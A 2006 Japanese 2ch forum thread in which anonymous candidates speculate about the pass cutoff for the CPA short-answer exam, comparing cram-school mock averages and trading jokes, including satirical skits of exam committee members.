597 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:33:05 ID:???
65なんてありえね〜って、煽りたいけど今年は読めないな〜。
74〜5と思っていたけど、意外とみんな出来ていないし。平均点が70台だもんな。
れっくなんて65台だし、平均点というイミからすると、むやみに否定できんわ
今年は煽り甲斐が無い年だった
もう少し煽りたかったよ
マジレスで66!

598 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:34:26 ID:???
そろそろマジレスモード化・・・
自分が金かけるならヤッパ66かな?
73で煽っててスマソ

599 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:35:05 ID:???
財務免除の調整なんかないだろ。

600 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:35:19 ID:???
久々にスレ読んだんだけど、れっく65台が平均って本当なの?煽り?

601 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:35:51 ID:???
LECの平均は65台だよ。

602 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:36:02 ID:???
レック鑑定士リサーチで77%が平均→実際ボーダー80%
レック会計士リサーチで65%が平均→実際ボーダー68%


ちなみに鑑定士受験におけるレックのシェアは
会計士におけるレックのシェアと瓜二つとのこと

603 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:37:53 ID:???
>>601
>>602
サンクス
マジ低いんだな、今年
ビックリした

604 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:39:07 ID:???
でもLECは疑義があるから1〜2点ぶれるな
それが上か下かで66〜69か

605 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:40:27 ID:???
>>602
それは去年の人数基準ってことだよな?
でも、余りにも低すぎね?

606 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:41:21 ID:???
鑑定士のボーダー75%だよ。

607 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:41:51 ID:???
いや、このスレもマジレスモード化してらっしゃるから・・・
これが現実ってことじゃないの?
俺も74で煽ってたし、でも、74なんてありえね〜って思ってたし

608 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:42:18 ID:???
「大原リサーチ偏差値50台がボーダー」説を今年に単純に当てはめると
72か73なんだよな

609 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:43:19 ID:???
>>606
じゃ、レックだけが低いってわけでもないんだ・・・
大原やタックは高すぎるのか?

610 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:45:04 ID:???
>>608
去年までのデーターは利用できないって、予備校で言ってるじゃん
それにしても、もうマジレスか・・
今年の混迷を象徴しているみたいだな
72で煽っていた俺が66でファイナル、どうだ?

611 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:46:20 ID:???
5000人なら65でもおかしくなさそうだな・・・
平均が71くらいならそこで3000
まあソンなものか

612 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:47:20 ID:???
2ちゃんのマジレスは当たるからな〜
久々にここ覗いたらビックりだぜ
でも、そんなものか・・・今年は詰まらん

613 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:56:06 ID:???
2005 レック平均30点→実際は34点
2006 レック平均65点→実際は65+8点?

大原リサーチからの予測と奇妙に一致するな

614 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:57:03 ID:???
レックは上級生いないよ。
2005年から。

615 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:57:17 ID:???
TACや大原のリサーチを特定項目抽出だって散々否定してて
LECは参考になるのか?w

616 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:58:29 ID:???
確か昨年の論文発表前も予想ボーダーが一気に下降してたが、
毎年おんなじ流れなんだね。

617 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 20:05:52 ID:???
LECて平均見る限り当初のボーダー予測64〜67でも違和感無いよね。
でもLECはリサーチから判断して70前後に変えたんでしょ?
これって明らかに自社のリサーチ信用せずに、他校の参考にしてる感じあるよなw

618 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 20:08:24 ID:???
そう。毎年同じ流れ。残り一週間も今までと同じ流れ。
上がって下がって、それに同意!とか、それで確定!とか、同じ流れ。


619 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 20:16:19 ID:???
で、結局ボーダーいくつよ。

そろそろ決めようぜ。

620 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 20:38:26 ID:qXFeo/cm
O原の講師が受験料値上がりしたのは
論文受験者大幅増の予定だから的なこといってたな。

去年までのキャパを考えると試験委員数が3倍?だから9000人。
士補が4000人受験するから5000人担当合格。
でも初年度だから70で切って。
70縛りを気にしないなら68、9もありかな。
でも人数で切るなら70とかいう基準も明示しないほうがいいわけで。
それを考えるときっちり70で切るというのが普通に考えられる。



621 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 20:43:36 ID:???
   七
   五

622 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 20:52:18 ID:???
>>620
講師の憶測を証拠にするなよw

623 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 20:56:00 ID:???
試験委員の報酬って採点枚数に対する変動費なのか?
固定費のほうがしっくりくる気がするんだけど。

624 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 20:57:08 ID:???
66でいんじゃね?74の俺が言うのもなんだが

625 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 20:58:02 ID:uCCAahfX
来週の水曜だろ?

予想する価値ないじゃん。

626 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 20:58:32 ID:???
>>623
はじめ固定費、その後変動費化
担当導入年は33%合格
試験委からクレーム着たのと、受験者増で・・・

627 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 20:59:20 ID:???
65〜68の間くらいじゃね〜の?
ここ見ているとみんなそんなに出来て無さソーダ氏、
荷ちゃんにしてはあおりもないs

628 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:01:36 ID:???
小数点以下きり捨てて、各校の平均点70,71,65のへいきんは68
68を去年基準とすると64〜66くらいとみるが

629 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:05:00 ID:???
ICOとか、アクセルとか、CPAの平均点って分かる?

630 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:05:39 ID:K4IpiZGI
>>628
ちょww
そんな低いわけあるかばかw
そもそも簡単だったんだからさ
低くて70。去年レベルで74当たり前だろ
1年間勉強してきたやつがそんな頭悪いわけないだろ

お前はあきらめて勉強しろ

631 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:06:24 ID:???
        ィ'ミ,彡ミ 、  
       ミソ_、 ,_`彡
    -= ミj  ,」 彡 75だ。
  -=≡  i'<_∀ノ
    -=( つ┯つ
   -=≡/  / //
  -=≡(__)/ )
   -= (◎) ̄))


632 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:06:29 ID:???
>>630

なんか、流れが読めない馬鹿がいるね。

633 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:07:53 ID:???
>>632
お前何点よ?
89以下ならおれにバカと言えないな

634 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:11:10 ID:???
試験委員が3倍になったのを根拠にしてるやつがいるが
今までのように3000枚以上を1人が見るとでも思ってるのか?
バカじゃないのか?
試験委員が増えたんならそいつらは
「1人あたり1000枚でいいじゃんやったー」に決まってるだろが

635 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:11:44 ID:???
ボーダー65だろうな。
短答合格者が相当増えるだろうし。
70以上とか煽るのはもう時期遅れだぞ。

636 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:14:06 ID:???
じゃあ69と煽ってた俺がマジレスすると
  
   7 2




637 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:14:07 ID:???
加えてさらに
「ちょ、バカ
監査の試験委員に聞こえるぞ
彼らは今までと同じくらい見なきゃいけないんだから
志穂のせいでな。かわいそうだよな。
監査租税だけ採点の締切がボクらより遅いしね」

638 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:14:49 ID:???
>>635
哀れなり・・・南無(´・ω・`)

639 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:16:27 ID:???
65点って何千人受からせるつもりだ??

640 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:16:47 ID:???
何なんだ!この低いボーダー予想は。
70で煽りとか
まじで意味がわかんないんだけど。
教室に受験生が多すぎなのはどう説明するんだよ

641 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:16:51 ID:???
俺64だけど、希望もっていいかな?
ボーダー65だと疑義tか考えると大逆転もありうるんだけど。

642 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:19:16 ID:???
>>641
風評に惑わされず税理士対策されることを切に願っています。

643 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:20:49 ID:???
>>642
いや願書出し忘れた。
今年ボーダー急激に下がることを願って、租税やってる。。

644 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:22:11 ID:???
簿記試験委員
「確かに1人で3000枚はきつすぎた。
だから番号を付した空欄埋め問題にしたんだよ
今年から楽になるから財務書評作らせても採点できるな」

監査租税委員
「いいですな他科目は・・・
僕らなんて委員が3倍になったって志穂がいるからさ
合わせて9000も受験されたら今年も1人あたり3000枚も見なきゃ。
どうにかなりませんかね?」

委員長
「志穂4000、普通3500にすれば合わせて7500。
少しはマシになりますかね。
でもこれ以上普通を減らすことは・・・」

監査租税委員
「仕方ないですね。1人2500見ますよ。
でもそれ以上増やさないでくださいね。
ただでさえ大変なのに」

委員長
「わかりましたよ八田さん
あなたに言われてしまったらね(笑)
まぁ免除組さえ受からせればとりあえず上も納得するでしょうから」

645 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:23:53 ID:???
>>644
真相は闇だけど、
審査会の議事録とか見てみると、
そんなのりだよな。

646 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:24:23 ID:???
結局65くらいなのか・・・

647 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:26:22 ID:???
>>646
淡い期待をもっていいのは68じゃない?
まあ実際は五日になんないとわかんないから
勉強だけはしなきゃなんないけど

648 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:26:47 ID:Vit/w2ju
72だと思う

649 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:26:59 ID:???
疑義入れて70前後の奴が大半なんだから、疑義ナシで65〜66というのは別に低くは無いんじゃないの?
あくまで疑義ナシで66
疑義入れている奴は結局2〜3問ぶれるんだからさ・・・

650 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:27:32 ID:???
租税法勉強してても来年以降の足しにはなるからいいんじゃない

651 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:28:33 ID:???
>>649
あくまで疑義ナシで・・・というハナシなら66でも別に良い
疑義入れてマックスの70とかは逆に客観性に欠けるな

652 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:29:06 ID:???
疑義無し66に賛成

653 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:29:37 ID:???
監査委員
「ではその方向で。
とりあえず予備校の詰め込み集団は落として構わないので
大学院出身の人達をなるべく受からせましょう。」

簿記、財表
「八田先生が予備校生が嫌いなのはわかってました。
なので財務は難しめの問題にしておきました。
範囲外とされていた企業結合も敢えてだしました」

監査委員
「キミ達、なかなかいい仕事をするじゃないか
そこまでされたら、例の件、前向きに考えざるをえないな」

簿記財表委員
「本当ですか?
ありがとうございます!」

委員長
「ごほん!
ということは、大学院生の平均得点率は予備校生よりも高いということですな
ではそこそこに勉強している大学院生が受かるような得点率…企業法委員、どうですか?」

654 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:29:58 ID:???
今年はマークミスも多そうな・・・
リサーチにマークミス2問もしていた俺

655 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:30:24 ID:???
大原のリサーチ参加者の内、六割が70越えてたんだろ?
大原リサーチに参加してない母体が14000人として
六割が70越えてるとは考えられない。
しかし、さすがに三割は70を越えてるだろ。
14000の三割は4200。これに大原のリサーチ参加した7割越えを足したら
余裕で7割に5000人以上いることになる。
この見積もりは最低値をとってるから現実的には6000人近いかもしれない。
タックリサーチでやっても同様だろ。
ボーダー70未満はいくらなんでもありえない。

もはや議論は70以上で何点になるかだな。


656 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:30:42 ID:???
>>653
空気嫁アホ

657 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:30:50 ID:???
会計士試験のあるべき適性値からしたら74〜76
実際の妥当な所は70〜73
今年は租税にみんなが苦しんで時間を充ててしまった事を
踏まえてぎりあるのが68、69
だと思うが

658 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:31:49 ID:???
>>655
お前統計わかってねえな・・・
単純計算で出るなら、各予備校がそういうだろが

659 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:33:03 ID:???
会計士試験のあるべき適性値からしたら62〜67
実際の妥当な所は70〜72
今年は租税にみんなが苦しんで時間を充ててしまった事を
踏まえてぎりあるのが66、67
だと思うが
勿論疑義ナシでな

660 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:34:15 ID:???
マークミスしていたっぽいわ、俺
最後に2問修正したけど、消した記憶が余り無い

661 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:34:39 ID:???
会計士と同じ得点基準の不動産鑑定士のボーダーは
何%だったんですか?



662 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:35:10 ID:???
企業法委員
「はい、採点をしてみたところ
内訳はわかりませんが、上位40%くらいは8割を取っています」

委員長
「上位40%も8割とな!?」

企業法委員
「はい、企業法初年度で、かつ院生もできるよう
平易な問題を出したのですが、予想よりできがよく、
受験生の半分以上は75%を取っています」

委員長
「なるほど、単純に考えれば院生の半分の人も75%を取れていることになりますね」



663 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:36:11 ID:???
>>655は極論だとしても
さすがに70未満はないだろ

664 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:36:43 ID:???
75%
だから上にも下にも5%のズレは許容範囲ということになる

665 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:37:16 ID:???
去年ならばっさり撫で斬りにされるようなとてつもなく低いレベルの点がボーダー議論に市民権を獲てることには正直遺憾であります。
本来ならこのスレへの参加資格はなく、それがあまつさえ発言まで許されているとは。
大本営はもっと威厳に満ちた煽りを展開すべきではないのか!?

666 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:37:24 ID:???
普通に70以下じゃね?
人数次第でかなり下がると思うが・・・

667 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:38:12 ID:???
>>661
形式75%実質上81lだったおすです。

668 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:38:31 ID:???
煽れないんだろ、実際低いし
74とか煽っていた俺でも、実際の平均の低さに煽る気亡くす
それで5000人合格といわれてミロや?
現実70以下だろうな

669 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:38:35 ID:???
>>659
その点数の分布の意味がわかんない

670 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 21:39:15 ID:???
>>665
去年で切られていたのが、今年きられていないとなると、それがこのスレの総意なんじゃ?

671 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:40:21 ID:???
俺頭いいから80以上あったけど、
会計士とかって信じられないくらい馬鹿な高卒とか受けてそうだから、
ボーダー66とかもありかもよ。

672 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:40:31 ID:???
>>667
だとすると、会計士のボーダーもその位になっても
おかしくないですね。

673 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:40:33 ID:???
総意ではないぞ

674 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:42:20 ID:???
企業法委員
「委員長、間違えました。Wセミナーの解答で採点していました
最も確かだろうと思われる大原で採点したら
75%が8割を超えました」

委員長
「なんと!おぬしもおっちょこちょいですな
では75%をラインにすれば院生も大抵受かると。
75%ではどうですかみなさん」

統計委員
「委員長。
75%では、確かに免除組のほぼ9割が受かりますが
不免除との合計人数が2800人ほどになります
いくら志穂の受験で監査委員の負担が多いとはいえ
3000人以下ではあまりにもやりすぎでしょう」

経済委員
「それに、他の資格の願書を真似しただけですが
70%を基準と書いてしまった以上
適当に書いただけなのに信じている受験生もいるようで
75%ではちょっとバツが悪いです」

675 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:45:38 ID:???
5000人合格させたら志保込み9500枚も採点できんの?
絶対無理だって。
アカスクをローみたいにしたがってる八田は短答難しくしたほうが
アカスク生の免除プレミアムが大きくなるから
定員割れが懸念されてるアカスクの志望者増につながるとか皮算してんじゃない?

676 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:46:49 ID:???
短答通過5000はないだろ
2年後まで考えろって
せいぜい4000前後だろ

677 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:49:15 ID:???
だれかボーダー低く予想している人で
教室に受験生が多すぎなのを踏まえて
なおなぜ低いボーダーを予想するのか説明してくれよ


678 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:50:16 ID:???
委員長
「そうですか
抗議の電話もあるようですしね
では74%でどうでしょう」

統計委員
「それならば合格者が合わせて3400人ほどになります」

経済委員
「74%なら四捨五入すれば70%なので、約7割と言えますね
抗議がきたら四捨五入してと答えたらいいでしょう」

監査委員
「そうですな。
まぁ今年はそのくらいの人数にしておいてくださいな。
増やすにしても来年以降に
今年それ以上なら、ボクは降ります」

委員長
「わかりました
では合格ラインは74%ということで」

委員達 「異義なし」

監査委員
「(本当はもっと減らしてほしいけど)異義なし」

委員長
「では合格者に発送手続きの方を」

679 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:52:43 ID:???
>>677
淡い希望を持ちたいんだろうよ

680 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:53:22 ID:???
多くて4200。
4200人で切ると72ぐらいだろ。
5000人うからしたら70まで下がるけどそこまでレベル落とすかな。
3年目以降は志保抜きで永続的に5000人くらいが論文受けるように人数もっていきたいんだろうから
初年度で3800〜4200が妥当なとこ。


681 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:53:35 ID:???
TAC梅田は普通に去年くらいだぞ。
自習室はかなーり人が減った。

682 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:53:48 ID:???
70以上は100歩譲って許すとして
60台のヴァカが机使ってんじゃねーよ

教室が臭くなるんだよ

683 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:55:14 ID:???
合格者増とかで、
本当においしい思いを享受できるのは、
アカスクと免除組です。

ど素人の一般受験生から合格者を増やすなんて趣旨は、
今まで一度も発表されてません。

684 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:57:26 ID:K4IpiZGI
>>679
淡い希望をもっていいのはせいぜい70点までだと思うが
簡単すぎるだろ
70、71のやつは実力が中の中くらい
例年は中の上からが受かる74〜76

今年はその中間72〜75

685 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:57:52 ID:???
>>681
宅梅田は講師が地道な努力で70未満なんて考えられないことを力説してまわった。
73の奴には74て言ってたしw


686 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:58:22 ID:???
>>684
俺もそう思うけど、
それにもかかわらず希望だけは持ちたいんじゃないの

687 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:59:22 ID:???
>>684
おれもそう重

688 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 21:59:38 ID:???
池袋の南の授業全然人いなかったんだけど

689 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:00:26 ID:???
アクセルなんて人いないぞ。
いやもともといないけどさ。

690 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:00:49 ID:???
TAC京都校もけっこう人少ないような気がするよ。

691 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:01:20 ID:???
上がったり下がったり忙しいスレだなw

692 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:01:22 ID:K4IpiZGI
>>686
希望も何も70以下って
下から実力計った方が早いんじゃないの?

まぁおまいさんに言っても仕方ないのだが

なぜ現実を見ようとしないんだろ(・ω・;)
おれだったらもう来年の勉強するけど
それかバイトかパワーチャージ

693 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:02:09 ID:???
ボーダーは74〜72くらいでいいんじゃね
70で2年後まで免除ってのはさすがにやりすぎだろ

実力が低くても受かりたいなら免除とれ、と。

694 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:02:28 ID:???
今年の短答スレはなんでこんなレベル低いの?

例年なら、TACとか校舎での風評より2ちゃんボーダーのが高いんだけど、
今年は明らかに2チャンボーダーのが低いぞw


695 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:03:23 ID:???
今年は大原もTACも明確な予想出さなかったから、
上げたい奴も下げたい奴も言いたい放題だなw

696 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:03:30 ID:???
>>688
背高い金髪のやつも消えたっぽくね?

697 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:03:56 ID:???
ひさびさに来てみたらボーダーかなり下がっててびっくり!

698 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:04:36 ID:???
>>694
そう
だから適性値に戻してる今。

699 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:05:47 ID:???
例年の感じで言えば、
ぶっちゃけ2チャンボーダーは74でいいだろ。
本来議論に参加すべき人ならわかると思うけど。
まあそこから何点下にぶれるか、ってことだよね

700 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:07:08 ID:???
そんな低いボーダーにしたら過去に短答に受からず自殺したやつとか
撤退して工場で働いてる奴らに申し訳がたたんではないか!!

701 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:07:13 ID:K4IpiZGI
>>695
上げたい奴っていうかな、72〜75で上げてるって言えるかな?
おれは煽りじゃないんだ。現実を話してるんだ。

例年の上げたいやつの煽りなら76以上は絶対!
みんな80とってる!とか言うだろ?

おれが話してるのはあくまで適性値。
上げてるわけじゃない

702 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:07:53 ID:???
まだ66粘着自演いるんだなw
ちなみに04は03が36でそれからかなり難化した。
しかしリサーチ平均は意外に高く予備校ボーダー34〜35になった。
やはり今年の様にリサーチおかしい説で発表前は32〜34が支配的だった。
現実→35

703 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:08:53 ID:???
そういやびち太郎とかボーダーは74ですとか言う人たちは消えていったね。

704 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:09:07 ID:???
50点満点でボーダー議論するのやめろよ

705 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:09:10 ID:???
>696
いっつも授業中にどっかいく眼鏡金髪?
そういやいねえな

706 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:10:15 ID:???
新制度に甘く(アカスク・免除など)
現行制度には厳しく。
これ、最近の国家試験の傾向ね



707 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:11:13 ID:???
>>704
びちと一緒に質問答えてたおれがいるだろ!

708 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:12:27 ID:???
>>706
いや、なんか微妙にイケメン風の
顔黒めで彫り深くて金髪で背高くて
運営もやってたかも

709 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:13:50 ID:???
安心していいのは、
最低でも疑義ぬき73からです。

710 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:13:50 ID:???
>708
ウエンツキタ━━━(゚∀゚)━━━!

711 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:15:05 ID:???
@何人合格させるのか
Aその人数になる合格点は何点か
この2つ

論文キャパが大きくなったんだから
@=3000人という基準があった去年までとは違う

2年繰越を考えると@4000人
問題の易化を考えるとA72点

712 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:15:56 ID:???
>>710
いやウエンツじゃない顔黒い方
こいつもイケメンの方だとは思う。

迂遠津は渋谷に行ったとスレに書いてあったが
黒い方のこいつ消えた

713 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:17:11 ID:K4IpiZGI
>>711
もうちょい上だろと、いちゃもんつけたいが
かなり妥当w
文句ねーわ

714 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:23:27 ID:???
志穂がなかったらわからなかったけど
志保のおかげで72前後ってわかったな

715 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:28:07 ID:???
経済・民法の試験委員8人って多くねえか?
こんな科目でもそれぞれわけて採点するの?
めっちゃらくやん!!

716 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:30:26 ID:???
>>715
人数少ないのに分けると、どの母集団に入ったかで
色々変わるから分けないだろ

717 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:33:00 ID:???
今年の監査の試験委員は悲惨だな。
どう低く見積もっても最低7000は見ないといけないんだろ?
監査の試験委員カワイソス

718 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:35:48 ID:???
監査の問題量減るかもな

719 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:48:04 ID:???
担当免除者が600人前後いる件について。
ソース→タック回答速報P3
総受験者20800人
志保4000人
担当受験者16200人
…ボーダー75で3400人。+担当免除600人→短答合格4000人
論文受験者数8000人。
74以下の人、今まで本当にありがとうございました。

720 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:49:46 ID:???
短答免除者って何?

721 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:51:20 ID:???
司法試験合格者とかだね。彼らは担当すべて免除。
他の適用もあるかもしれんが自分で調べてくれ。

722 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:53:07 ID:???
司法というよりは税理士だろ

723 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:56:19 ID:???
ああそういうことか。
新聞では短答の免除者が4500ほどって書いてあったけど、そういうことか。
志保にしては数多いなと思ったけど、志保以外の免除者も含んでたんだ。

724 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 22:56:52 ID:???
税理士も担当全部免除なん?
橋下弁護士が会計士受けるってのをどっかの板でみた。
確か、彼らは論文からの受験。

725 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:00:41 ID:???
今年は監査・租税の採点枚数は他科目に比して激しく多い。

なのに監査と租税の試験委員は他科目と同じ12人。

これはすなわち試験委員は今年に限らず長い将来を見越して試験委員の人数を90人にした。

国は何も今年の短答合格者増を考えているのではなく、将来の短答合格者増を見込んでいるに過ぎない

今年の短答合格者増加は外れる恐れあり

よってボーダー65。

726 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:01:21 ID:???
志保以外の免除者が担当合格者に含められると、
人数的にボーダー上げざるを得なくね?

727 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:02:18 ID:???
>>724
正直ちょっとやそこらで
財務管理徹底的にやってきた受験生には司法は歯がたたん。
免除されるだけ。分母になってそれで終わり。

728 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:02:40 ID:???
会計士のおまけでついてくる税理士ごときに短答免除はございません。
財務会計だけだよ。

729 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:02:55 ID:???
>>725
最後75の間違い?

730 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:03:12 ID:???
司法試験合格者の短答免除って去年以前もあったけど、
去年も短答合格者の枠に入れてなかったし、
今年も合格者とは別と考えるのが普通じゃないの?

731 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:03:44 ID:???
あるあ・・・・・・



ねーよ!!wwwww75だろw

732 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:05:32 ID:???
>>730
そいえば前からずっと免除だったよな
今年は免除って響きが目立つからな

733 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:05:53 ID:???
司法と会計士は合格する適性が違うからなあ
会計士ベテでも司法なら受かるって人も中にはいそう
特に学歴高い人

734 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:07:50 ID:???
よくよく考えたらボーダー低く煽ったほうがダメージ大きいよな
ということで70

735 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:08:07 ID:???
すまん、725は72の間違いね。

736 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:08:33 ID:???
当日になると72ボーダーで自己採点74の人が落ちたり
するんだよなあ。今年は百問あるから余計に。

737 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:09:09 ID:???
725が妙に説得力がある件について。


738 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:09:34 ID:???
まあ72〜75だろうな

739 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:10:29 ID:???
試験委員3年で変わるルール無くすのか?
つかこれからは論文で問題作れない試験委員がたくさん出てくるな。

740 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:11:11 ID:???
おれ89だから勉強しなきゃいけないんだけど
5日の午前中はこのスレのせいで勉強できないかも(´・ω・`)

741 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:12:40 ID:???
監査13、1を選んだのにマークミスで3にしたっぽい・・・

742 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:13:44 ID:???
経済・民法の試験委員が無駄に多いのは万が一選択者が多かった場合を想定して
だろ

743 :議長:2006/06/29(木) 23:15:42 ID:???
発表まであと6日ですな。
あと6日たてば、「ボーダー議論会」も終了か・・・。
6日後からは今度は、「短答不合格言い訳会」と「短答合格自慢会」を開催することにしましょう。

744 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:16:07 ID:???
民法の試験委員4人しかいないぞ。

745 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:16:19 ID:???
>>742
またまたぁw
みんながわかってないような感じで〜
そのくらい教えてもらなくてもみんなわかってますってw

746 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:17:00 ID:???
もう自慢できるけど

